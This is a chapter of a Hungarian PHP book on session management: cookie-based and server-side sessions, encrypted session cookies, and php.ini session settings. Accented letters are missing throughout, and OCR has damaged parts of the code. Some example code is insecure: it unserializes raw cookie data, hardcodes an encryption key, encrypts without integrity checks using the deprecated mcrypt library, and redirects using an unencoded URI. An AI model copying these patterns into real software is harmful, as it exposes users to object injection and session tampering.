A 13. fejezetben a felhasznlk munkameneteinek hitelestsrl ejtettnk szt. Amellett azonban, hogy meg szeretnnk gyzdni az egyms utni krelmek kzs eredetrl, gyakran a felhasznl llapotadatait is meg kvnjuk rizni a krelmek kztt. Bizonyos alkalmazsoknak - gy az elektronikus bevsrlkocsiknak s egyes jtkoknak - szksgk van az llapotok megrzsre. Mindazonltal, az llapotok ennl sokkal szlesebb krben hasznlatosak. Az llapotok nyilvntartsa az alkalmazsokban jelents kihvs el llthat, az esetlegesen felhalmozd adatok nagy mennyisge miatt. Egy bevsrlkocsit kezel alkalmazs esetben lehetsget kell adnunk a felhasznlknak arra, hogy rukat pakoljanak a kocsiba, s a teljes munkamenet alatt kvetnnk kell ennek llapott. A PHP nem teszi lehetv, hogy brmit is megrizznk a krelmek kztt, gy adatainkat valahol trolnunk kell, ahol a krelem teljestse utn is elrhetk maradnak. Az llapotok kvetsre szmos mdszer ltezik - hasznlhatunk stiket, lekrdezsi karakterlncokat, DBM, adatbzis, vagy alkalmazskiszolgl alap gyorstrakat, a PHP bels munkamenet-kezelsi eszkzeit, vagy valamilyen hzi fejleszts mdszert. Ilyen nagy vlasztk mellett szksg van valamilyen rendez elvre. Lehetsgeinket nyomban kt csoportra oszthatjuk, attl fggen, hogy az adatok zmt az gyfl vagy a kiszolgl oldaln troljuk: gyfl oldali munkamenetek - Ilyen esetben a munkamenet llapotait javarszt t kell vinnnk az gyfl s a kiszolgl kztt minden krelem esetn. Ez a megolds tlzottan is egyszernek tnhet az ilyen munkameneteket gyakran nehzslynak is hvjk, tekintettel az gyfl-kiszolgl adatforgalom mrtkre. A nehzsly munkamenetek akkor jhetnek szmtsba, ha az llapotadatok mrete kicsi. Mkdskhz nincs vagy csak kevs httrtmogatsra van szksg. (Nem rendelkeznek httrtrolval.) Igaz ugyan, hogy az tvitt tartalom tekintetben nehzslyak, de annl hatkonyabbak az adatbzis, illetve a httrtr kihasznlsa tern. Mindez azt is jelenti, hogy elosztott rendszerbe helyezskhz csak apr mdostsokra van szksg.

378

PHP fejleszts felsfokon

Kiszolgl oldali munkamenetek - E munkamenetek esetben igen kicsi gyfl-kiszolgl adatforgalomra van szksg. Itt jellemzen egy azonostt rendelnek az adott munkamenethez, ezutn csak ezt az azonostt kell tvinni. A kiszolgl oldalon az llapotot valamilyen munkameneti trolban raktrozzk (jellemzen adatbzis vagy fjl alap kezelben), s a munkamenet-azonost szolgl arra, hogy sszeksse a krelmet a hozz tartoz llapotadatokkal. Egyes kiszolgl oldali munkamenet-megvalstsok nehezen illeszkedhetnek elosztott szerkezetekbe. A korbbi fejezetekben szmos munkameneti gyorstrral ismerkedhettnk meg, melyek a teljestmny nvelse rdekben az gyfl munkamenetnek klnbz rszeit troltk. Az alapvet klnbsg a korbban megismert munkameneti gyorstrak s a munkameneti llapotok kztt az, hogy az elbbiek olyan adatokat trolnak, amelyek amgy is elrhetk - jllehet lassan , s ezeket gyorsabban s knyelmesebben elrhet formban bocstjk rendelkezsre. A munkamenet llapotadatai ezzel szemben nem rhetk el ms formban, de az alkalmazs helyes mkdshez mindenkppen szksg van rjuk.

gyfl oldali munkamenetek


Amikor felkeressk orvosunkat, ahhoz, hogy megfelelen ellsson, hozz kell frnie krtrtneti adatainkhoz. Ennek egyik mdja, ha krlapunkat magunk hozzuk el, s a ltogats kezdetn odaadjuk az orvosnak. Ez a mdszer biztostja, hogy a doktor mindig a legfrissebb adatokhoz jusson hozz, hiszen csak egyetlen pldnyban llnak rendelkezsre, s azt mi magunk birtokoljuk. Ez a mdszer eredeti formjban mr kiment a divatbl egyes orszgokban, de a trolsi mdszerek fejldsvel felmerlt egy olyan krtya hasznlatnak lehetsge, melyen a beteg megkapja teljes krtrtnett. Ez igencsak hasonlt az gyfl oldali munkamenetek esethez, hiszen ilyenkor a felhasznl minden szksges adatot magval hordoz, s nincs szksg semmifle kzponti adattrolra. A msik lehetsges mdszer, ha a krtrtneti adatokat az orvosi rendelben troljuk. Ezt az eljrst alkalmazzk jelenleg Magyarorszgon. Ez hasonlt a kiszolgl oldali munkamenet rendszerhez, amikor a felhasznl csak egy azonost krtyt hoz magval, s ez alapjn keresik ki adatait a kzponti trolbl. A fenti hasonlat rvilgt az gyfl oldali munkamenetek nhny gyenge pontjra: Fennll az illetktelen betekints, illetve mdosts lehetsge. Az gyfl oldali munkamenetek tvitele nehzkes. Fennll az adatveszts kockzata. Az gyfl oldali munkamenetek nem rvendenek j hrnvnek. A fejlesztk gyakran tlzottan nagy fegyvertrat vetnek be a feladatok megoldsa rdekben, alkalmazsokat s adatbzisokra pl munkamenet-kezelst alkalmaznak, ugyanis ezeket komolyabb"

14. fejezet Munkamenetek kezelse

379

eszkzknek vlik. rezhet tovbb egy olyan tendencia a nagylptk programtervezs terletn, amely a nehzsly munkamenetek fell inkbb a kiszolgl oldali gyorstrak fel mutat. Mindezt azzal indokoljk, hogy a kiszolgl alap gyorstr a legtbb llapotadatot az alkalmazs szmra elrhet helyen trolja, s knnyebben kibvthet ms munkameneti adatok raktrozsra.

Munkamenetek megvalstsa stik segtsgvel


A 13. fejezetben lthattuk, hogy a stik nagyszer megoldst jelentenek a munkamenetek adatainak tadsra. Hamarosan tapasztalhatjuk majd, hogy akkor is hasznos eszkzk lehetnek, ha nagyobb adatmennyisgrl van sz. A munkamenetek hasznlatnak bemutatsra a legegyszerbb sa, hnyszor kereste fel egy felhasznl az adott oldalt: <?php $MY_SESSION = unserialize(stripslashes($_COOKIE['session_cookie'])); $MY_SESSION['count' ] ++; setcookie("session_cookie", serialize($MY_SESSION), time() + 3 6 0 0 ) ; ?> You have visited this page <?= $MY_SESSION['count' ] ?> times. plda annak megszmol-

Pldnkban egy session_cookie nev sti trolja a $MY_SESSION tmb tartalmt, amely ez esetben egy count kulcsra pl ltogatsszmll. A setcookie () automatikusan kdolja a paramtereit az urlencode () tagfggvnnyel, gy az oldaltl kapott sti az albbi alakban ll el: Set-Cookie: session_cookie=a%3Al%3A%7Bs%3A5%3A%22count%22%3Bi%3Al%3B%7D; expires=Mon, 03-Mar-2003 0 7 :0 7 :1 9 GMT

Ha visszafejtjk a sti adatokat tartalmaz rszt, az albbiakat kapjuk: a: 1:{s:5:"count";i:1;} Ez pedig (pontosan, amint vrtuk) az albbi kifejezs sorostott alakja: $MY_SESSION = array('count' => 1);

380

PHP fejleszts felsfokon

Sorostott adatok a stikben

Alaprtelmezs szerint a PHP az addslashes () fggvnyt futtatja minden olyan adaton, melyet a COOKIE, a POST vagy a GET vltozkon keresztl kap meg. Ez egy biztonsgi lps, ami segt a felhasznlk adatainak megtiszttsban. Mivel szinte minden sorostott vltoz tartalmaz idzjeleket, futtatnunk kell a stripslashes () tagfggvnyt a $_COOKIE [ ' session_data ' ] vltozn, mieltt visszaalaktannk. Ha megszoktuk, hogy kzi munkval tiszttjuk meg a felhasznli bemenetet, s pontosan tudjuk, mit csinlunk, eltvolthatjuk az idzjeleket a php. ini fjl magic_quotes_qpc = Of f belltsval.

A felhasznlknak termszetesen nem jelent nehzsget az, hogy sajt stijeikben a fenti rtkek brmelyikt megvltoztassk. Ezekben a pldkban ez nem okozna semmifle gondot, de az alkalmazsok tbbsgben nem szeretnnk megadni e mdosts lehetsgt. Ezrt ha gyfl oldali munkameneteket hasznlunk, minden esetben titkostanunk kell a munkamenetek adatait. A 13- fejezetben megismert titkost fggvnyek tkletesen megfelelnek e clnak.
<?php // Encryption.inc class Encryption { static $cypher = 'blowfish'; static $mode = 'cfb'; static $key = 'choose a better key' ; public function encrypt($plaintext) { $td = mcrypt_module_open (self::$cypher, '', self::$mode, ''); $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td), MCRYPT_RAND); mcrypt_generic_init ($td, self::$key, $iv); $crypttext = mcrypt_generic ($td, $plaintext); mcrypt_generic_deinit ($td); return $iv.$crypttext; } public function decrypt($crypttext) { $td = mcrypt_module_open (self::$cypher, '', self::$mode, ' '); $ivsize = mcrypt_enc_get_iv_size($td); $iv = substr($crypttext, 0, $ivsize); $crypttext = substr($crypttext, $ivsize); $plaintext = " " ; if ( $iv ) { mcrypt_generic_init ($td, self::$key, $iv); $plaintext = mdecrypt_generic ($td, $crypttext); mcrypt_generic_deinit ($td); }

14. fejezet Munkamenetek kezelse

381

return $plaintext;
} } ?>

Az oldal kdjnak egyszer mdostsval elrhetjk, hogy kdolja a sorostott adatokat, mieltt elklden a stiben:
<?php include_once 'Encryption.inc'; $MY_SESSION = unserialize( stripslashes( Encryption::decrypt($_COOKIE['session_cookie']) ) ); $MY_SESSION['count' ] ++ ; setcookie("session_cookie", Encryption::encrypt(serialize($MY_SESSION)), time() + 3600); ?>

Pldnk tapasztalataibl kiindulva tehetnk nhny megllaptst a nehzsly munkamenetekkel kapcsolatban. Knnyen lthatk az albbi elnys tulajdonsgok: Alacsony httrterhels - Munkm sorn egy ltalnos irnyelvhez mindig tartom magam - soha nem hasznlok adatbzist, ha erre nincs felttlenl szksg. Az adatbzisrendszerek elosztsa nehz, mretezsk kltsges, s gyakran vlhatnak szk keresztmetszett. A munkamenetek adatai jobbra rvid ideig rvnyesek, gy olyan hossz tv trolsi eszkz, mint egy adatbzis-kezel rendszer hasznlata esetkben megkrdjelezhet. Knny alkalmazhatsg elosztott rendszerek esetben - Mivel a munkamenet minden adata a krelemben tallhat, ez a mdszer knnyen kibvthet tbb gpbl ll frtkre is. Knny alkalmazhatsg nagy szm gyfl esetn is - A munkamenetek llapotainak gyfl oldali kezelse nagyszer mdszer az gyfelek szmnak nvelse szempontjbl is. Jllehet szksgnk lesz tovbbi kapacitsra a forgalomnvekeds kielgtsre, de magukat az gyfeleket jabb kltsgek nlkl beilleszthetjk a rendszerbe. A munkamenetek nagy mennyisg adatnak feldolgozsa teljesen az gyfelekre hrul, s olyan egyenletesen oszlik el, hogy az egyes gyfelek terhelse minimlis.

382

PHP fejleszts felsfokon

Az gyfl oldali munkamenetek hasznlatnak persze htrnyai is vannak: Nem igazn alkalmasak nagy mennyisg adat tvitelre -Jllehet szinte minden bngsz tmogatja a stiket, rendelkeznek valamilyen bels korltozssal ezek mretre nzve. A gyakorlatban ez a korlt valahol 4 KB felett van. Mindazonltal, mg a 4 KB-os stik is nagynak szmtanak. Ne feledjk, ez a sti minden olyan krelemmel tmegy, ami a stihez tartoz tartomnyba tart, illetve az tvonaln halad. Mindez rezheten lelassthatja az adattvitelt kis sebessg vagy nagy ksleltets kapcsolatokban, s akkor mg nem is szltunk a svszlessg-vesztesgrl. Jmagam egyfajta lgy" 1 KB-os korltozst hasznlok az alkalmazsaimban hasznlt stiknl. Ez a mret mg kezelhet, ugyanakkor elegend adatot trolhatunk benne. Nehz jrahasznostani az adatokat a munkamenet krnyezetn kvl - Mivel az adatokat a rendszer csak az gyfl oldalon trolja, nem rhetjk el azokat, ha a felhasznl nem intz krelmet hozznk. A kimenet elksztse eltt minden munkameneti adatot rgztennk kell - Mivel a stiket mg azeltt t kell kldeni az gyflnek, mieltt brmilyen tartalmat tadnnk, az adattvitelt megelzen be kell fejeznnk a munkameneti mdostsokat, s meg kell hvnunk a setcookie () tagfggvnyt. Termszetesen ha tmeneti trolst alkalmazunk a kimenetre, ez a korltozs nem ll fenn, gy a stiket brmikor bellthatjuk.

A plda tovbbfejlesztse
Ahhoz, hogy gyfl oldali munkameneteink valban hasznosthatk legyenek, ksztennk kell krjk egy elrsi knyvtrat. me egy plda:
// cs_sessions.inc require_once 'Encryption.inc'; function cs_session_read($name='MY_SESSION') { global $MY_SESSION; $MY_SESSION = unserialize(Encryption::decrypt(stripslashes($_COOKIE[$name]))); } function cs_session_write($name='MY_SESSION', $expiration=3600) { global $MY_SESSION; setcookie($name, Encryption::encrypt(serialize($MY_SESSION)), time() + $expiration); } function cs_session_destroy($name) { global $MY_SESSION; setcookie($name, "", 0); }

14. fejezet Munkamenetek kezelse

383

Az eredeti ltogatsszmll plda most gy fest:


<?php include_once 'cs_sessions.inc'; cs_session_read(); $MY_SESSION [ ' count' ] ++; cs_session_write(); ?> You have visited this page <?= $MY_SESSION['count'] ?> times.

Kiszolgl oldali munkamenetek


Ha elosztott krnyezetben mkd kiszolgl oldali munkamenet-kezel rendszert ksztnk, fontos, hogy biztostsuk, hogy a krelmet fogad gp hozzjusson a munkamenet adataihoz. Visszatrve orvosi adatokkal kapcsolatos pldnkhoz, a kiszolgl oldali, vagyis irodai megvalsts esetben kt lehetsgnk van: Odavihetjk a felhasznlt az adatokhoz, illetve az adatokat a felhasznlhoz. Ha nem rendelkeznk kzpontostott trolval, meg kell kvetelnnk, hogy a felhasznl mindig ugyanahhoz a kiszolglhoz trjen vissza. Ez az orvosi pldban azt jelenti, hogy a betegnek mindig ugyanazt a doktort kell felkeresnie. Ez a rendszer jl mkdik kisvrosi orvosi rendelk vagy egykiszolgls rendszerek esetben, de nehezen mretezhet, s hasznlhatatlann vlik, ha tbb helyen kell kiszolglni az embereket. Tbb orvosi rendel kezelsre a betegek adatait nyilvntart kzponti adatbzisokat hoznak ltre, melyekben az orvosok elrhetik s frissthetik a betegek bejegyzseit. A terhelseloszts terletn ismeretes a munkamenetek ragadssgnak (session stickiness) fogalma, ami annak biztostst jelenti, hogy adott felhasznl mindig ugyanahhoz a kiszolglhoz kerl. A munkamenet ragadssgt szmos hardveres megoldssal megvalsthatjuk (szinte minden 7-es szint vagy tartalomvlt hardveres terhelskiegyenlt tmogatja ezt a lehetsget), de programozstechnikai megoldsokat is alkalmazhatunk (ilyen pldul az Apache mod_backhand modulja). Persze az, hogy valamit megtehetnk, nem jelenti azt, hogy valban meg is kell tennnk. A munkamenetek ragadssga javthatja a gyorstrak hatkonysgt, ezrt meglehetsen sok alkalmazs komolyan pt ene a tulajdonsgra. Sajnos ez nem szerencss megolds, ugyanis tbb szempontbl is srlkenyebb teszi az alkalmazst: Roml erforrs-, illetve terhelskiegyenlts - Az erforrsok hasznlatnak kiegyenltse nehz feladat. Minden terhelselosztnak megvan a maga mdszere, annyi azonban kzs bennk, hogy a krelem tvonalnak meghatrozshoz az aktulis terhelsi adatokat hasznljk fel. Ha megkveteljk a munkamenetek ragadssgt, gyakorlatilag erforrsokat ktnk le az rkkvalsgig egyes munkamenetek

384

PHP fejleszts felsfokon szmra. Ez gyengbb terhelskiegyenltshez vezethet, s lehetetlenn teheti szmos olyan okos" algoritmus mkdst, ami terhelskiegyenlts segtsgvel osztja el a krelmeket. Nagyobb a meghibsods lehetsge - Vegyk a kvetkez fejtrt: ha egybknt minden felttel megegyezik, melyik biztonsgosabb - egy ktmotoros gp, melynek a replshez mindkt motorra szksge van, vagy egy egymotoros? Termszetesen az utbbi, hiszen annak valsznsge, hogy kettbl egy motor meghibsodik nagyobb, mint az, hogy egybl egy romoljon el. (Ha jobban szeretnk dobkockban gondolkodni, annak valsznsge, hogy hatost dobunk nagyobb, ha kt kockval jtszunk, mintha eggyel.) Hasonlkppen egy elosztott rendszer, ami mkdskptelenn vlik, ha az egyik csompontja meghibsodik, rosszul megtervezett. Olyan rendszerek megalkotsra kell trekednnk, amelyek mindaddig mkdkpesek, mg akr egyetlen csompontjuk is kitart. (A replgpek pldjval lve: egy olyan ktmotoros gp, amelynek csak egy motorra van szksge a replshez, biztonsgosabb, mint egy egymotoros.) Annak biztostsa, hogy az gyfl adatai mindenhol elrhetk legyenek, ahol szksg van rjuk, egy alapvet htrnnyal jr: igen sok erforrst hasznl fel. A munkameneti gyorstrak termszetknl fogva jobbra krelmenknt frisslnek, gy egy olyan rendszerben, ahol msodpercenknt 100 krelem rkezik be, megfelel trolsi mdszerre is szksg van. 100 frissts s kiolvass msodpercenknt nem jelenthet gondot a legtbb korszer adatbzis-kezel szmra, de ha ezt a szmot 1000-re nveljk, sokuk mr nem tud megbirkzni a feladattal. Mg ha tbbszrzst is hasznlunk e megoldsoknl, akkor sem nyernk tl sokat a mretezhetsg tern, mivel az adattorldst valjban a munkamenetek frisstse, nem pedig kiolvassa okozza - s mint a korbbiakban megtanulhattuk, a beillesztsi s frisstsi mveletek tbbszrzse sokkal nehezebb, mint a kiolvassi mveletek elosztsa. Ez persze nem kell, hogy elvegye kedvnket az adatbzis htter munkamenetektl. Szmos alkalmazs valsznleg nem is n olyan mretre, hogy ez gondot jelenthetne, s felesleges valamilyen nem mretezhet megoldst elutastanunk, ha egybknt nincs szndkunkban nvelni. J, ha tudunk ezekrl a lehetsgekrl, gy nyugodtan programozhatunk az esetleges korltozsok szem eltt tartsval.

PHP munkamenetek - talljuk-e fel jra a kereket? E fejezet rsa sorn, bevallom, sokszor elgondolkoztam azon, hogy az egyni munkamenet-kezelsre sszpontostsak vagy a PHP munkameneti bvtmnyre. Jmagam nem ltok semmi kivetnivalt a kerk jrafeltallsban (az nkpzs lcja mg bjva) - sokszor szvesebben vlasztom ezt a mdszert az elre elksztett megoldsok hasznlatval szemben. A lehetsgeknek kt csoportja ltezik - az egyiket szvesen valstom meg magam, mg a msikba tartozkat inkbb rbzom a nagy fejlesztcgekre. A munkamenetek ppen e kt csoport hatrn tallhatk. A PHP munkamenetek igen sokoldalan hasznlhatk, s br az alaprtelmezett munkamenet-kezelk nem elgtik ki minden ignyemet, a sajt kezelk rsnak lehetsge orvossg lehet a legtbb gondra.

14. fejezet Munkamenetek kezelse

385

A kvetkezkben a PHP knnysly munkamenetekre alkalmazhat munkameneti bvtmnyvel foglalkozunk. Kezdjk az alapokkal! A munkamenet-azonost nyomon kvetse A munkamenet azonostjnak nyomon kvetse sorn mindenekeltt meg kell hatroznunk a krelem kiadjt. Ha megltogatjuk orvosunkat, termszetesen meg kell mutatnunk trsadalombiztostsi azonostnkat, hiszen csak ennek ismeretben frhet hozz krtrtneti adatainkhoz. Hasonlkppen, csak a munkamenet azonostjnak tadsa utn juthatunk hozz a munkamenet adataihoz a PHP-ben. Amint a 13. fejezetben is megjegyeztk, a munkamenetek eltrtsnek lehetsgt mindig szem eltt kell tartanunk. Mivel a munkameneti bvtmnyt gy ksztettk el, hogy kpes legyen mindenfle hitelestsi rendszertl fggetlenl mkdni, vletlenszer munkamenet-azonostkat kszt az eltrtsi ksrletek megelzsre.
Beptett mdszerek a munkameneti azonostk kvetsre

A munkameneti bvtmny beptetten ktfle mdszert tmogat a munkameneti azonost tvitelre: a stik hasznlatt, a lekrdezsi karakterlncok csatolst. A stik alkalmazsa esetn a munkameneti azonosthoz egy kln sutit ksztenek. Ennek neve alaprtelmezs szerint PHPSESSIONID, tpust tekintve pedig munkameneti sti (ez azt jelenti, hogy lejrati ideje 0, vagyis ha a bngszt kikapcsoljk, automatikusan megsemmisl). A stik tmogatst a php. ini llomny kvetkez belltsval rhetjk el (alapllapotban bekapcsolt): session.use_cookies=l A lekrdezsi karakterlnc csatolsnl a rendszer a dokumentumban tallhat cmkkhez automatikusan nevestett vltozkat rendel. A lekrdezsek csatolsa alapllapotban kikapcsolt, de ezt megvltoztathatjuk, ha alkalmazzuk a kvetkez belltst a php. ini fjlban: session.use_trans_sid=l Ez esetben a trans_sid az angol transparent session ID", vagyis rejtett munkamenetazonost nv rvidtseknt szerepel, mivel bekapcsolsa esetn a rendszer automatikusan trja a cmkket. gy pldul, ha bekapcsoljuk a use_trans_id belltst, az albbi kdrszletbl <?php session_start(); ?> <a href="/foo.php">Foo</a> ez lesz: <a href="/foo.php?PHPSESSIONID=12345">foo</a>

386

PHP fejleszts felsfokon

A munkamenet-azonostk sti alap kvetse tbb okbl is jobb mdszer, mint a lekrdezsi karakterlncok csatolsa. Ezekrl mr a 13. fejezetben is szt ejtettnk: Biztonsg - Knnyen elfordulhat, hogy egy felhasznl vletlenl elkld egy bartjnak egy URL-t munkamenetnek aktulis azonostjval, ami a munkamenet szndkolatlan eltrtshez vezethet. Elfordulhatnak olyan tmadsok is, amelyek hasonl mdszerekkel rveszik a felhasznlt, hogy egy hamis munkamenetazonostt hitelestsen. Eszttikussg - jabb paramter hozzadsa a lekrdezsi karakterlnchoz meglehetsen csnya, vad kinzet URL-eket eredmnyez. Akr stikkel, akr lekrdezsekkel lltjuk be a munkamenetek azonostit, nevket a php. ini llomny session. name paramterben adhatjuk meg. gy ha pldul a PHPSESSIONID helyett a MYSESSIONID nevet szeretnnk alkalmazni a sti esetben, az albbiakkal clt rhetnk:
session.name=MYSESSIONID

Lteznek persze emellett ms paramterek is, melyeknek nagy hasznt vesszk a sti alap munkamenet-kezels belltsban: session.cookie_lifetime - Alapllapotban rtke 0 (vagyis tiszta munkameneti sti). Amennyiben 0-tl eltr rtkre lltjuk, lehetv tehetjk, hogy a munkamenetek mg azeltt elavulhassanak, hogy a bngszt bezrnnk (ami nagyszer szolglatot tehet a munkamenetek idztett megsemmistsben), illetve olyan munkameneteket is alkalmazhatunk, amelyek tbb bngszben is jelen vannak. (Mindazonltal e tren igen vatosnak kell lennnk, mind az adatbiztonsg, mind az adattrolk hasznlata szempontjbl.) session.cookie_path - Belltja a sti tvonalt, rtke alapllapotban /. session. cookie_domain - Belltja a sti tartomnyt. Alapllapotban "", ami a tartomnyt az gyflbngsz ltal krelmezett gpnvben hatrozza meg. session.cookie_secure - Alapllapotban fals. Meghatrozza, hogy a sti kizrlag SSL munkamenetekben legyen-e tkldhet. Ez lehetsget ad annak megakadlyozsra, hogy illetktelenek kiolvashassk munkamenet-azonostnkat, mg a hlzati kapcsolat lehallgatsa esetn is. Termszetesen mindez csak akkor hatkony, ha a sti tartomnynak teljes forgalma SSL kapcsolatokon keresztl folyik. Hasonlkppen, az albbi paramterek hasznosak lehetnek a lekrdezsi karakterlncok hasznlata esetn: session.use_only_cookies - Meggtolja a munkamenet-azonost kiolvasst a lekrdezsi karakterlncbl. Ezt a kiegszt biztonsgi paramtert akkor kell belltanunk, ha a use_trans_sid rtke fals.

14. fejezet Munkamenetek kezelse

387

url_rewriter.tags - Alaprtelmezsben rtke a=href, frame=src, input = src, f orm=fakeentry. Belltja azokat a cmkket, amelyeket a rendszer automatikusan tr a munkamenet paramtereire ha a use_trans_sid rtke true. gy pldul, ha azt szeretnnk, hogy a munkamenet-azonostkat a kpekkel is tkldjk, adjuk az img=src kdot az trand cmkk listjhoz.

A PHP munkamenetek alapjai


Ha egyszer munkameneteket szeretnnk hasznlni programunkban, elksztskhz egyszeren meghvhatjuk a session_start () fggvnyt, majd kulcs-rtk prokat rhatunk a $_SESSION autogloblis tmbbe. Az albbi rvid kdrszlet egy munkamenetet kszt, ami megszmolja s megjelenti ltogatsaink szmt egy oldalon. Az alaprtelmezett munkameneti belltsoknl a rendszer sti segtsgvel viszi t a munkameneti adatokat, s visszall eredeti llapotba, ha a bngszt kikapcsoljk. Lssuk ht a kdot, ami a ltogat adott oldalra lpseit szmolja: <?php session_start(); if(isset($_SESSION['viewnum'])) { $_SESSION['viewnum' ] ++; } else { $_SESSION['viewnum'] = 1;
} ?>

<html> <body> Hello There.<br> This is <?= $_SESSION['viewnum'] ?> times you have seen a page on this site.<br> </boy> </html> A munkamenet elksztst a session_start () vgzi, beolvasva a munkamenet-azonostt egy stin vagy lekrdezsi paramteren keresztl. A session_start () fggvny hvsakor a rendszer elri az adott munkamenethez trolt adatokat, s a korbbi krelmeknl belltott $_SESSION vltozkat jra feltlti rtkeikkel. Ha a $_SESSION tmbbe runk, a rendszer megjelli a vltozt, melyet a krelem vgn trol a munkamenethez tartoz trolsi mdszernek megfelelen. Ha mg a krelem teljestse eltt trolni szeretnnk a munkamenet adatait, ezt a session_write_close () tagfggvny hvsval tehetjk meg. Ezt az is sszerv teszi, hogy a beptett munkamenet-kezelk az adatpsg megtartsa rdekben zrolst alkalmaznak a munkameneti trol elrse kzben. Ha munkameneteinket egyetlen

388

PHP fejleszts felsfokon

oldal tbb keretben hasznljuk, a felhasznl bngszje ugyan prhuzamosan kvnja azokat elrni, de a zrolsok ezt nem teszik lehetv - gy azokat a kereteket, amelyekben munkameneteket alkalmazunk, a rendszer sorban, egyms utn tlti be s frissti. Elfordulhat az is, hogy vgkpp le akarunk zrni egy munkamenetet. Pldul egy bevsrlkocsi-kezel alkalmazsnl, ami tbb munkameneti vltoz segtsgvel kveti nyomon a kocsi tartalmt, a felhasznl kijelentkezse utn ki kell rtennk a kocsit, s meg kell semmistennk a munkamenetet. Mindezt az alaprtelmezett kezelkkel kt lpsben tehetjk meg: // a $_SESSION vltozk kirtse $_SESSION = array(); // a munkameneti httrtr kirtse session_destroy();

A kt mvelet sorrendje nem lnyeges, de mindkettt vgre kell hajtanunk. A session_destroy () kirti ugyan a munkameneti httrtrat, de ha nem tvoltjuk el a $_SESSION vltoz tartalmt, a krelem vgeztvel a rendszer jra berja az adatokat a httrtrba. Minden bizonnyal szrevettk, hogy mg egy szt sem szltunk arrl, miknt kezeli a munkameneteket maga a PHP. A 9-, 10. s 11. fejezetekben lthattuk, hogy egy elegenden nagy adatforgalm alkalmazsban nem nehz megtlteni egy brmekkora gyorstrat. A munkamenetek sem mentesek az ilyesfajta gondoktl, gy ht az esetkben is szksg van valamilyen tisztogat mdszerre. A munkameneti bvtmny fejleszti a valsznsgi megkzeltst vlasztottk a szemtgyjtshez. A bels szemtgyjt eljrsok hvsnak adott valsznsge van minden egyes krelem esetben. Ezt a valsznsget az albbi php. ini belltssal adhatjuk meg: // 1%-ra lltja a szemtgyjts valsznsgt adott krelem esetben session.gc_probability=l A szemtgyjtnek a hatkony eltvoltshoz persze ismernie kell a munkamenet kort. Az itt alkalmazott korhatrt" is egy php. ini belltssal adhatjuk meg (alaprtelmezett rtke 1440 msodperc, vagyis 24 perc): // a munkamenetek 15 perc session.gc_maxlifetime=900 ( 9 0 0 msodperc) elteltvel begyjthetk

A 14.1. brn lthatjuk, miknt viselkedik a munkameneti bvtmny egy ltalnos helyzetben. A munkamenet-kezel elindul, elkszti az adatokat, vgrehajtja a szemtgyjtst s beolvassa a felhasznl munkameneti adatait. Ezt kveten a rendszer vgrehajtja az

14. fejezet Munkamenetek kezelse

389

oldalon a session_start () utn ll kdot. A program felhasznlhatja, illetve mdosthatja a $_SESSION tmb tartalmt. Amikor a munkamenet vget r, az adatok lemezre kerlnek, s a rendszer kirti a munkameneti bvtmny bels vltozit.

14.1. bra

A munkamenet-kezel mkdse.

Sajt munkamenet-kezel mdszerek


Felesleges volna tl sok idt egy olyan hitelestsi rendszer fejlesztsvel tlteni, amelyet nem tudunk munkamenet-kezelnk adatforgalmval sszehangolni. Szerencsre a munkameneti bvtmny rendelkezsnkre bocstja a session_id fggvnyt, mellyel sajt munkamenet-azonostkat kszthetnk, vagyis megtallhatjuk a kapcsolatot hitelestsi rendszernkkel. Ha a felhasznlkat ssze kvnjuk ktni a munkamenetekkel, egyszeren hasznlhatjuk felhasznlazonostjukat munkameneti azonostknt. Altalnos esetben ez nem igazn j mdszer, hiszen munkamenet-azonostnk gy meglehetsen knnyen kitallhat. Mindazonltal ez esetben soha nem adjuk t vagy olvassuk be ezt az azonostt szveges stikbl, hiszen a hitelestsi stibl rjk el. A 13. fejezetben megismert hitelestsi plda bvtseknt a ltogatsszmllt az albbiak szerint mdosthatjuk: try { $cookie = new Cookie();

390

PHP fejleszts felsfokon

$cookie->validate(); session_id($cookie->userid); session_start();


}

catch (AuthException $e) { header("Location: /login.php?originating_uri=$_SERVER['REQUEST_URI']"); exit;


}

if(isset($_SESSION['viewnum'])) { $_SESSION['viewnum']+ + ; } else { $_SESSION['viewnum'] = 1; } ?> <html> <body> Hello There.<br> This is <?= $_SESSION['viewnum'] this site.<br> </body> </html>

?> times you have seen a page on

Figyeljk meg, hogy itt a munkamenet-azonostt mg azeltt belltjuk, hogy meghvnnk a session_start () fggvnyt. Erre szksg van a munkameneti bvtmny helyes mkdshez. Pldnk jelenlegi llapotban felhasznlnk azonostja egy stiben (illetve lekrdezsi karakterlncban) kerl a vlaszba. Ennek elkerlsre le kell tiltanunk mind a stik hasznlatt, mind a lekrdezsi karakterlncok csatolst a php. ini llomnyban:
session.use_cookies=0 session.use_trans_sid=0

Emellett pedig (mg akkor is, ha magunk lltjuk be a munkamenet-azonostt) az albbi sorra is szksg lesz:
session.use_only_cookies=l

A fenti belltsok lehetetlenn teszik a munkameneti bvtmny minden olyan mvelett, amely a munkamenet azonostjt az gyfl bngszjhez tovbbtan. Ehelyett inkbb hitelestsi stik hasznlatra tmaszkodunk. Ha lehetv szeretnnk tenni, hogy egy felhasznlhoz tbb munkamenet is tartozhasson, csak egy jabb tulajdonsgot kell elhelyeznnk a hitelestsi stiben, melyet minden

14. fejezet Munkamenetek kezelse

391

j munkamenet kezdetn (pldul hitelestskor) bellthatunk. A felhasznlnknti tbb munkamenet engedlyezse jl jhet megosztva hasznlt azonostk esetn, egybknt viszont a kt felhasznl tevkenykedsei sszekeveredhetnek.

Megjegyzs

Jllehet mindezt a 13. fejezetben rszletesen trgyaltuk, sosem rt megismtelni: hacsak nem vagyunk teljes mrtkben meggyzdve arrl, hogy munkameneteinket nem lehet eltrteni, illetve feltrni, mindig gyelnnk kell adataik hatkony titkostsra. Csak vesztegetjk az idnket, ha stink adatain a R0T13-at hasznljuk. Valamilyen jl bevlt szimmetrikus titkostt - mint a Triple DES, az AES vagy a Blowfish - kell alkalmaznunk. Ez nem ldzsi mnia - a jzan sz is ezt diktlja.

